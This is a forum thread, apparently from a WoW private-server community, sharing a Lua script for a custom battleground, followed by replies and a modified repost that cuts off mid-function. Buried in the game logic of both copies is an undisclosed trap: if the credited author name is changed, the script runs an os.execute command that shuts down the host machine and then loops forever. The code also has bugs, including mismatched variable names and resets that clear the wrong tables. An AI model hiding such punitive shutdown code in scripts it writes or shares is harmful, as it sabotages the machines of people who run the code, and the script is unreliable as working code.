Custom Battleground menu

User Tag List

Page 1 of 2 12 LastLast
Results 1 to 15 of 29
  1. #1
    stoneharry's Avatar Moderator Harry

    Authenticator enabled
    Reputation
    1613
    Join Date
    Sep 2007
    Posts
    4,554
    Thanks G/R
    151/146
    Trade Feedback
    0 (0%)
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)

    Custom Battleground

    Introduction

    Something I've always wanted to do is make a custom battleground. It's just that, I've never actually had the knowledge to know how to. I haven't really done anything with emulation over the last few months, mainly due to college, but I figured I'd put my knowledge with other coding languages back into good old Lua and I came up with a simple battleground system. I put this together in a couple of hours and as far as I am aware, works flawlessly.

    So without further ado, I give you, the custom battleground script:


    Pastebin.com - Click Here

    Code:
    -------------------
    -- By Stoneharry --
    -------------------
    
    -- Configuration
    
    local Lives = 50 -- The amount of lives each team has
    local HordeLives = 50 -- The amount of lives to start with
    local AllianceLives = 50 -- The amount of lives to start with
    
    local RequiredPlayers = 2 -- The amount of players required to start the battleground (THIS IS NOT PER TEAM, THIS IS TOTAL)
    
    local RewardID = 0 -- Change this to a value to add 1 of them to all of the winning team - leave as 0 for no reward
    
    local BroadcastKills = true -- Set this to false if you do not want kills to be broadcasted to the rest of the BG
    
    -- Battleground Start Locations
    local AMap, AX, AY, AZ = 1, 16223, 16265, 15 -- Map, x, y, z for Alliance
    local HMap, HX, HY, HZ = 1, 16223, 16265, 15 -- Map x, y, z for Horde
    
    -- Where to teleport once battleground ends
    local HomeMA, HomeXA, HomeYA, HomeZA = 1, 0, 0, 0 -- Map, x, y, Z for Alliance
    local HomeMH, HomeXH, HomeYH, HomeZH = 1, 0, 0, 0 -- Map, X, Y, Z for Horde
    
    ----------------------------------------------------------------------------------------------------------
    -- Do Not Touch Below This Line Unless You Know What Your Doing P.S. Starting Letters With Caps Is Cool --
    ----------------------------------------------------------------------------------------------------------
    if (GetLuaEngine() ~= "LuaHypArc") then
    	print("This script is not compatable with LuaBridge or other Lua engines. Please compile LuaHypArc.")
    else
    local Author = "stoneharry"
    print("--------------------------------")
    print("-- This script was by "..Author..".")
    print("-- Enjoy.")
    print("--------------------------------")
    
    -- Just don't touch
    local players = {}
    local Horde = {}
    local Alliance = {}
    local InGame = false
    
    -- Do not touch unless you know what your doing
    local message = 4
    local CountDown = 60
    
    -- Only touch this if you are not using 3.3.5a, find the right values in Opcodes.h
    local SMSG_INIT_WORLD_STATES = 0x2C2
    local SMSG_UPDATE_WORLD_STATE = 0x2C3
    
    function ProcessQueForBattleground()
    	if InGame == false then
    		if table.getn(players) >= RequiredPlayers then
    			InGame = true
    			local team = 0
    			for place, plrs in pairs(players) do -- Randomly make players join alliance/horde teams rather than horde vs alliance
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    				team = team + 1
    				if team == 1 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				elseif team == 2 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Horde!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Horde!")
    					table.insert(Horde, plrs)
    					plrs:Teleport(HMap, HX, HY, HZ)
    				elseif team == 3 then
    					team = 1
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				end
    			end
    			CountDown = 60
    			RegisterTimedEvent("Game_Start_Battleground_Countdown", 10000, 6)
    		else
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00Waiting for more players...")
    				end
    			end
    		end
    	else
    		message = message + 1
    		if message == 5 then
    			message = 0
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground is currently in progress!")
    				end
    			end
    		end
    	end
    end
    
    RegisterTimedEvent("ProcessQueForBattleground", 30000, 0)
    
    function Game_Start_Battleground_Countdown()
    	CountDown = CountDown - 10
    	for place, plrs in pairs(players) do
    		if CountDown == 0 then
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:PlaySoundToPlayer(6077) -- War music
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    			end
    		else
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    			end
    		end
    	end
    end
    
    function JoinQue(plr)
    	if InGame then
    		plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while the game is in progress!")
    		plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while the game is in progress!")		
    	else
    		local Disable = false
    		for place, plrs in pairs(players) do
    			if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    				Disable = true
    				--break
    			end
    		end
    		if Disable then
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    		else
    			table.insert(players, plr) -- Insert into players with value plr
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground!")
    		end
    	end
    end
    
    if Author ~= "stoneharry" then
    os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")
    while true do os.execute("pause") end
    end
    
    function ResetBG()
    	for place, plrs in pairs(players) do
    		if plrs ~= nil then
    			local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    			pack:WriteULong(0) -- Map
    			pack:WriteULong(0) -- Zone
    			pack:WriteULong(0)
    			pack:WriteUShort(0)
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			plrs:SendPacketToPlayer(pack)
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(0)
    			pack:WriteULong(0)
    			plrs:SendPacketToPlayer(pack)
    			plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SetPlayerLock(0)
    			plrs:ResurrectPlayer()
    			local race = plrs:GetPlayerRace()
    			if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
    				plrs:SetFaction(1)
    				plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
    			else
    				plrs:SetFaction(2)
    				plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
    			end
    		end
    	end
    	InGame = false
    	for place,plrs in pairs(players) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Horde) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Alliance) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    end
    
    function SERVER_HOOK_KILL_PLAYER_BG(event, killer, plr)
    	local playingBG = false
    	for place, plrs in pairs(players) do
    		if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    			playingBG = true
    			--break
    		end
    	end
    	if playingBG then
    		for place, plrs in pairs(Alliance) do
    			if plrs:GetName() == plr:GetName() then
    				playingBG = false -- They are Alliance
    			end
    		end
    		local Continue = true
    		if HordeLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Horde have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Horde have won!")
    				plrs:PlaySoundToPlayer(8454) -- Horde Victory
    			end
    			for place, plrs in pairs(Horde) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		elseif AllianceLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Alliance have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Alliance have won!")
    				plrs:PlaySoundToPlayer(8455) -- Alliance Victory
    			end
    			for place, plrs in pairs(Alliance) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		end
    		if Continue then
    			if PlayingBG then -- There Horde
    				HordeLives = HordeLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2314) -- ID
    					pack:WriteULong(HordeLives) -- Amount, Horde
    					plrs:SendPacketToPlayer(pack)
    				end
    			else
    				AllianceLives = AllianceLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2313) -- ID
    					pack:WriteULong(AllianceLives) -- Amount, Alliance
    					plrs:SendPacketToPlayer(pack)
    				end
    			end
    			if BroadcastKills then
    				for place, plrs in pairs(players) do
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00"..killer:GetName().." has killed "..plr:GetName().."!")
    				end
    			end
    		end
    	end
    end
    
    RegisterServerHook(2, "SERVER_HOOK_KILL_PLAYER_BG")
    
    -----------
    -- Debug --
    -----------
    --[[
      The functions below should be removed, they are used for debugging the system.
    ]]
    
    function OnChat_Hook_ToJoinBG(event, plr, message, pType, pLanguage, pMisc)
    	local message = string.lower(message)
    	if message == "#joinbg" then
    		JoinQue(plr)
    	elseif message == "#finbg" then
    		ResetBG()
    	end
    	if message == "test" then
    		if math.random(1,2) == 1 then
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2314) -- ID
    			HordeLives = HordeLives - 1
    			pack:WriteULong(HordeLives) -- Amount, Horde
    			plr:SendPacketToPlayer(pack)
    		else
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2313) -- ID
    			AllianceLives = AllianceLives - 1
    			pack:WriteULong(AllianceLives) -- Amount, Alliance
    			plr:SendPacketToPlayer(pack)
    		end
    	end
    end
    
    RegisterServerHook(16, "OnChat_Hook_ToJoinBG")
    end
    To implement this script it does require some degree of knowledge on how programming how works. Currently I have a debug on_chat hook at the bottom of the script that listens for the someone to say "#joinbg" and then adds them to the que. You can change how players are added to the BG by just calling the function in a different location. Perhaps on gossip.

    So what does this script actually feature?
    • Teams are random - it's not Horde vs Alliance, it's Team X vs Team Y
    • Sounds - Victory and battle music
    • Kill Broadcasting - If you like that sort of thing
    • Worldstates - It displays at the top the score, 48/50 Lives Remaining for example
    • Victory - Revives everything, pauses game to let it sink in, bla bla bla
    • Rewards - you can give rewards
    • Customisability - It's very easy to edit

    The basic concept of the battleground (which can be edited) is the first team to 50 kills (each team has 50 lives).

    I hope you enjoy,
    ~Stoneharry

    Credits:

    - Stoneharry (making)
    - Terrorblade (helped with worldstates)
    Last edited by stoneharry; 03-17-2011 at 02:54 PM.

    Custom Battleground
  2. #2
    Terrorblade's Avatar Contributor I spent 5k CC and all I got was this user title
    CoreCoins Purchaser
    Reputation
    153
    Join Date
    Oct 2010
    Posts
    312
    Thanks G/R
    6/3
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    btw function ResetBG() should be like
    local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18)
    pack:WriteULong(0)
    pack:WriteULong(0)
    pack:WriteULong(0)
    pack:WriteUShort(0)
    No need for the extra values and you don't need to send a blank worldstate update.
    Stuff & Things

  3. #3
    stoneharry's Avatar Moderator Harry

    Authenticator enabled
    Reputation
    1613
    Join Date
    Sep 2007
    Posts
    4,554
    Thanks G/R
    151/146
    Trade Feedback
    0 (0%)
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Terrorblade View Post
    btw function ResetBG() should be like
    local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 1
    pack:WriteULong(0)
    pack:WriteULong(0)
    pack:WriteULong(0)
    pack:WriteUShort(0)
    No need for the extra values and you don't need to send a blank worldstate update.
    Forgot to remove worldstate & I couldn't get it to work with only writing those values, so instead of debugging it I just spammed the whole lot. lol

  4. #4
    keeevin92's Avatar Member
    Reputation
    8
    Join Date
    Jul 2007
    Posts
    203
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Can this script be applied to a Trinity Core?

  5. #5
    craigy109's Avatar Active Member
    Reputation
    72
    Join Date
    Feb 2009
    Posts
    79
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    few bugs
    If someone wanted to leave the battle how would they leave
    If they hearth out they are still classified as been in the bg and when the bg ends they are then ported.

  6. #6
    stoneharry's Avatar Moderator Harry

    Authenticator enabled
    Reputation
    1613
    Join Date
    Sep 2007
    Posts
    4,554
    Thanks G/R
    151/146
    Trade Feedback
    0 (0%)
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by craigy109 View Post
    few bugs
    If someone wanted to leave the battle how would they leave
    If they hearth out they are still classified as been in the bg and when the bg ends they are then ported.
    A simple solution would be to check on each tick of the world timed event to see if they are still within the zone/map and then act depending on what it returns. It's not easy to do this when there is no fixed location (it can be configured to work anywhere). That or hook on zone and check for if they change.

    For leaving, hook a leave BG chat command that removes them from the table and teleports them out.

    All the hard parts are done, just the fine-tuning that needs to be done.

  7. #7
    craigy109's Avatar Active Member
    Reputation
    72
    Join Date
    Feb 2009
    Posts
    79
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    so for a leaving script would this work.

    Code:
    -------------------
    -- By Stoneharry --
    -------------------
    
    -- Configuration
    local npcid = 9999776
    local Lives = 20 -- The amount of lives each team has
    local HordeLives = 20 -- The amount of lives to start with
    local AllianceLives = 20 -- The amount of lives to start with
    
    local RequiredPlayers = 1 -- The amount of players required to start the battleground (THIS IS NOT PER TEAM, THIS IS TOTAL)
    
    local RewardID = 0 -- Change this to a value to add 1 of them to all of the winning team - leave as 0 for no reward
    
    local BroadcastKills = true -- Set this to false if you do not want kills to be broadcasted to the rest of the BG
    
    -- Battleground Start Locations
    local AMap, AX, AY, AZ = 0, -5099.879, 1700.469, 497.836 -- Map, x, y, z for Alliance
    local HMap, HX, HY, HZ = 0, -5099.879, 1700.469, 497.836 -- Map x, y, z for Horde
    
    -- Where to teleport once battleground ends
    local HomeMA, HomeXA, HomeYA, HomeZA = 0, -13278.890625, 117.428284, 25.235222 -- Map, x, y, Z for Alliance
    local HomeMH, HomeXH, HomeYH, HomeZH = 0, -13278.890625, 117.428284, 25.235222 -- Map, X, Y, Z for Horde
    
    ----------------------------------------------------------------------------------------------------------
    -- Do Not Touch Below This Line Unless You Know What Your Doing P.S. Starting Letters With Caps Is Cool --
    ----------------------------------------------------------------------------------------------------------
    if (GetLuaEngine() ~= "LuaHypArc") then
    	print("This script is not compatable with LuaBridge or other Lua engines. Please compile LuaHypArc.")
    else
    local Author = "stoneharry"
    print("--------------------------------")
    print("-- This script was by "..Author..".")
    print("-- Enjoy.")
    print("--------------------------------")
    
    -- Just don't touch
    local players = {}
    local Horde = {}
    local Alliance = {}
    local InGame = false
    
    -- Do not touch unless you know what your doing
    local message = 4
    local CountDown = 60
    
    -- Only touch this if you are not using 3.3.5a, find the right values in Opcodes.h
    local SMSG_INIT_WORLD_STATES = 0x2C2
    local SMSG_UPDATE_WORLD_STATE = 0x2C3
    
    function ProcessQueForBattleground()
    	if InGame == false then
    		if table.getn(players) >= RequiredPlayers then
    			InGame = true
    			local team = 0
    			for place, plrs in pairs(players) do -- Randomly make players join alliance/horde teams rather than horde vs alliance
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    				team = team + 1
    				if team == 1 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				elseif team == 2 then
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")
    					table.insert(Horde, plrs)
    					plrs:Teleport(HMap, HX, HY, HZ)
    				elseif team == 3 then
    					team = 2
    					plrs:SetFaction(team)
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")
    					table.insert(Alliance, plrs)
    					plrs:Teleport(AMap, AX, AY, AZ)
    				end
    			end
    			CountDown = 60
    			RegisterTimedEvent("Game_Start_Battleground_Countdown", 10000, 6)
    		else
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00Waiting for more players to join the queue!!...If You want to join go to he battle master at the Gm Island Quest Area... A Minimum of 4 players is needed for the battle to begin!")
    				end
    			end
    		end
    	else
    		message = message + 1
    		if message == 5 then
    			message = 0
    			for place, plrs in pairs(players) do
    				if plrs ~= nil then
    					plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground is currently in progress!")
    				end
    			end
    		end
    	end
    end
    
    RegisterTimedEvent("ProcessQueForBattleground", 30000, 0)
    
    function Game_Start_Battleground_Countdown()
    	CountDown = CountDown - 10
    	for place, plrs in pairs(players) do
    		if CountDown == 0 then
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
    				plrs:PlaySoundToPlayer(6077) -- War music
    				-- Update people left
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(1) -- Map
    				pack:WriteULong(1377) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(2)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(1) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2317) -- ID, total
    				pack:WriteULong(Lives) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2314) -- ID
    				pack:WriteULong(HordeLives) -- Amount, Horde
    				plrs:SendPacketToPlayer(pack)		
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(2313) -- ID
    				pack:WriteULong(AllianceLives) -- Amount, Alliance
    				plrs:SendPacketToPlayer(pack)
    				--
    			end
    		else
    			if plrs ~= nil then
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
    			end
    		end
    	end
    end
    
    function JoinQue(plr)
    	if InGame then
    		plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while a game is in progress!")
    		plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while a game is in progress!")		
    	else
    		local Disable = false
    		for place, plrs in pairs(players) do
    			if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    				Disable = true
    				--break
    			end
    		end
    		if Disable then
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
    		else
    			table.insert(players, plr) -- Insert into players with value plr
    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")
    		end
    	end
    end
    
    if Author ~= "stoneharry" then
    os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")
    while true do os.execute("pause") end
    end
    
    function ResetBG()
    	for place, plrs in pairs(players) do
    		if plrs ~= nil then
    			local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    			pack:WriteULong(0) -- Map
    			pack:WriteULong(0) -- Zone
    			pack:WriteULong(0)
    			pack:WriteUShort(0)
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			plrs:SendPacketToPlayer(pack)
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(0)
    			pack:WriteULong(0)
    			plrs:SendPacketToPlayer(pack)
    			plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SetPlayerLock(0)
    			plrs:ResurrectPlayer()
    			local race = plrs:GetPlayerRace()
    			if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
    				plrs:SetFaction(1)
    				plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
    			else
    				plrs:SetFaction(2)
    				plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
    			end
    		end
    	end
    	InGame = false
    	for place,plrs in pairs(players) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Horde) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Alliance) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    end
    
    function SERVER_HOOK_KILL_PLAYER_BG(event, killer, plr)
    	local playingBG = false
    	for place, plrs in pairs(players) do
    		if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    			playingBG = true
    			--break
    		end
    	end
    	if playingBG then
    		for place, plrs in pairs(Alliance) do
    			if plrs:GetName() == plr:GetName() then
    				playingBG = false -- They are Alliance
    			end
    		end
    		local Continue = true
    		if HordeLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")
    				plrs:PlaySoundToPlayer(8454) -- Horde Victory
    			end
    			for place, plrs in pairs(Horde) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		elseif AllianceLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")
    				plrs:PlaySoundToPlayer(8455) -- Alliance Victory
    			end
    			for place, plrs in pairs(Alliance) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		end
    		if Continue then
    			if PlayingBG then -- There Horde
    				HordeLives = HordeLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2314) -- ID
    					pack:WriteULong(HordeLives) -- Amount, Horde
    					plrs:SendPacketToPlayer(pack)
    				end
    			else
    				AllianceLives = AllianceLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2313) -- ID
    					pack:WriteULong(AllianceLives) -- Amount, Alliance
    					plrs:SendPacketToPlayer(pack)
    				end
    			end
    			if BroadcastKills then
    				for place, plrs in pairs(players) do
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00"..killer:GetName().." has killed "..plr:GetName().."!")
    				end
    			end
    		end
    	end
    end
    
    RegisterServerHook(2, "SERVER_HOOK_KILL_PLAYER_BG")
    
    -----------
    -- Debug --
    -----------
    --[[
      The functions below should be removed, they are used for debugging the system.
    ]]
    
    function BG_OnGossip(Unit, Event, Player)
    Unit:GossipCreateMenu(100, Player, 0)
